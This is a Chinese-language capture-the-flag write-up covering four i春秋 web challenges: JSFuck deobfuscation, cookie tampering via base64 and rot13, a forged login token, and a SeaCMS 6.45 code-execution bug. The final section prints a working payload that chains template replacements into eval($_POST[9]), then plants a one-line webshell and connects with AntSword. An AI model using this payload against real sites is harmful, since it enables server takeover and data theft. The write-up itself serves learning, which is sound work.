i春秋3
web——borken
这里一打开,出现很多
这个东西,我也不知道是啥,于是就去看了一下wp发现是JSFUCK,是一种编程语言,所以学习一下:
JSFUCK:JSFuck 可以让你只用 6 个字符[]()!+
来编写 JavaScript 程序。
我看看能不能解密,将页面上的JSFUCK拿去解码
发现最上面少而另一],将它补齐后在下面窗口运行,弹出:
flag not here
看到这么多的奇怪字符,我觉得好痛苦,看了WP有两种方法,一种是对照找出flag在这些代码中放置的位置,第二种是:上面那段代码的原理其实很简单,它使用了Function关键字定义一个匿名函数,并立即执行了。
如果我们在浏览器敲入下面代码,也会弹出数字“1”:
1 | Function("alert(1)")() |
该段代码最后()代表的是函数的结尾,所以只要把最后这个括号删掉就不会弹框了,然后一开始补齐的代码,也需要一起删除,这样才能显示被掩盖的结果
web-who are you
打开页面 说没有权限,于是抓包看看有没有什么修改权限地方
看起来像是加密了,所以base64试着解码一下,得到f:5:"thrfg";
接下来就触及了知识盲区了
原来以上的内容又使用了rot13加密,所以解密完以后变成
s:5:”guest”,更改为admin,再去重新加密试试
她现在让我们上传东西了,但是却没有上传的框框,看到这里是要POST上传的
但是当我打开这个文件夹的时候啥都没有–,用扫描目录的工具扫了一波 都没发现存在这个目录,,,阿这挺无语的
web——Login
在下面审查元素找到一个类似于账号密码的东西,输入进去登录后得到一个很奇怪的表情人傻了,但是其他信息也没有,burpsuit抓包试试,也没发现什么有用的东西=-=,但是有一个show的参数 去看了一下wp,这个show好像是关键的东西,然后回来,修改了一下show的值
1 |
|
把show改为1就出现了如上源码:
接下来要审计一波这个源码–头已经开始晕了
仔细看了一下也没啥,主要是这个类和函数的定义绕来绕去的,其实就是要从库里select 出一个user=ichunqiu的,但是考虑到库里可能没有这个值,所以这里要我们自己去赋值,所以我们转化的不是单纯的‘ichunqiu’
而是赋予user这一个键键值为ichunqiu'user'->'ichunqiu'
1 |
|
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
转化结果,然后再cookie添加token为以上值就行
这样就可以得到flag了flag{5db96a12-b37c-44e3-8152-cdd30455bae2}
web——海洋cms漏洞
隔了好几天了,看不下去这个漏洞,操作什么的倒是很好模仿,但是对于原理的理解就比较磨人了,今天发誓一定要好好学完!
原理
这里主要说一下6.45的代码任意执行漏洞,在这个漏洞中
1 | function echoSearchPage() |
str_replace()函数:将content里面的searchpage换成前面一个变量中的
代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。,在经过多次的替换后,此时的content已经变成了包含了我们原本的恶意语句
例子:
1 | searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo(); |
当我们在url中输入以上内容,经过多次的替换后,最终的content已经变成一下内容:
1 | if:eval(join($_POST[9])) |
而在parself函数中,如果判断出含有if:标签,则会使用eval函数来执行
1 | function parseIf($content){ |
知道这些原理后
在URL当中构建:
1 | http://ef7204bb29d84b7b82022457450f9e2b21aaa4cb0d4d4570.changame.ichunqiu.com/search.php?searchtype=5&tid=&letter=eval($_POST[9]) |
此时就可以用蚁剑连接该链接,密码是9
为什么蚁剑可以直接连接了呢?经过多次替换后,在最后的if语句中 会执行eval($_POST[9])
此命令,就相当于我们通过URL在一个php文件中插入了一句话木马,打开此URL就相当于执行了该木马。找了一下, 找到了那个search.php,决定等会还好好审计一波,然后再看了一下,说是flag在数据库中,于是找到数据库的配置文件,连接后查找即可找到flag
1 |
|